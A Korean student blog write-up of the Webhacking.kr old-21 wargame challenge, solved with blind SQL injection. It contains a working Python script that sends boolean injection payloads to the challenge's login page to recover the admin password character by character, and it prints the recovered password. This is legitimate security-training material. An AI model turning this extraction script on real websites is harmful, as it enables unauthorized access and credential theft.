일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 스케줄링
- Whois #정보보안교육 #AjouUniv #Pwnable
- Allocation Starategy
- 아주대학교
- Variable Partition
- HackCTF
- Pwnable
- AjouUniv #Whois #정보보안교육 #Pwnable
- AjouUniv #Whois #Reversing
- 사이버보안학과
- N0NamedWargame #mandu-mandu #forensics #길에서주어온만두
- Whois #정보보안교육 #Ajou
- Dreamhack
- hackerschool
- webhacking
- python
- Whois #정보보안교육 #webhacking.kr
- Whois #AjouUniv #정보보안교육 #Pwnable
- 코딩도장
- 운영체제
- AjouUniv #Whois #정보보안교육
- SuNiNaTaS #mandu-mandu #AjouUniv #forensics
- ftz
- 아주대학교 #Whois #정보보안교육 #4주차
- N0Named
- AjouUniv #SuniNatas #Web
- N0NamedWargame #mandu-mandu #forensics #left_side_B
- systemhacking
- N0NamedWargame #AjouUniv #mandu-mandu #forensics
- Memory Virtualization
- Today
- Total
chipkkang9's story
[Whois 정보보안교육] Webhacking.kr 21번 (write-up) 본문
Webhacking.kr 사이트의 old - 21번 문제는 Blind SQL Injection 에 관한 문제였다.
어떤 소스 코드를 통해 Injection을 진행할 수 있을지 알기 위해서 콘솔 창을 열어보았지만, 어떤 코드도 볼 수 없어서 우선 admin/admin 과 guest/guest로 로그인을 시도해보았다.
guest/guest로 로그인을 했을 때에는 Result 값으로 login success가 나오지만,
admin/admin으로 로그인 했을 때에는 Result 값으로 login fail이 나오는 것으로 보아
admin을 ID로 넣되, pw 값을 특정 값을 넣어주어야 풀릴 것 같았다.
하지만, 어떻게 해줘야 할 지 감이 잡히지 않아서 타 블로그에 있는 풀이를 참고했다.
pw값이 참과 거짓일 때 나타나는 값이 다르다는 것을 이용해서
파이썬 코드를 통해서 올바른 pw를 찾아준 풀이이다.
import requests
URL = 'https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw='
TRUE_PHRASE = 'wrong password'
def query(payload):
r = requests.get(URL + payload)
content = r.text
return TRUE_PHRASE in content
# 36
def find_pw_length():
pw_len = 1
while query("' or id='admin' and length(pw)={}%23".format(pw_len)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
# there_is_no_rest_for_the_white_angel
def find_pw():
pw_len = find_pw_length()
pw = ''
for pos in range(1, pw_len + 1):
for character in range(0, 128):
if query("' or id='admin' and ord(substr(pw,{},1))={}%23".format(pos, character)) is True:
pw += chr(character)
break
print('pw: {}'.format(pw))
find_pw()
위의 파이썬 코드를 이용해서 pw를 찾아준 결과,
pw = there_is_no_rest_for_the_white_angel
인 것을 알 수 있었고, ID에는 admin, pw에는 there_is_no_rest_for_the_white_angel을 넣어 주었더니
문제가 해결되었다!
출처
[Webhacking.kr] old-21번 문제 풀이 (tistory.com)
[Webhacking.kr] old-21번 문제 풀이
안녕하세요 (* ̄3 ̄)╭ 오늘도 새로운 문제를 풀어보았습니당! https://webhacking.kr/challenge/bonus-1/ Challenge 21 webhacking.kr 문제입니다! 아무 문제나 고른다고 골랐는데ㅠ 또 blind sql injection 문..
wisdom-990629.tistory.com
'CTF > Web' 카테고리의 다른 글
[HackCTF] Hidden 문제 write-up (0) | 2022.02.09 |
---|---|
[HackCTF] / 문제 write-up (0) | 2022.02.09 |
[Lord of SQLInjection] wolfman, darkelf, orge 문제 write-up (0) | 2022.01.23 |
[Lord of SQLInjection] orc 문제 Write-up (0) | 2022.01.20 |
[Suninatas] 1번 문제풀이 (0) | 2021.10.28 |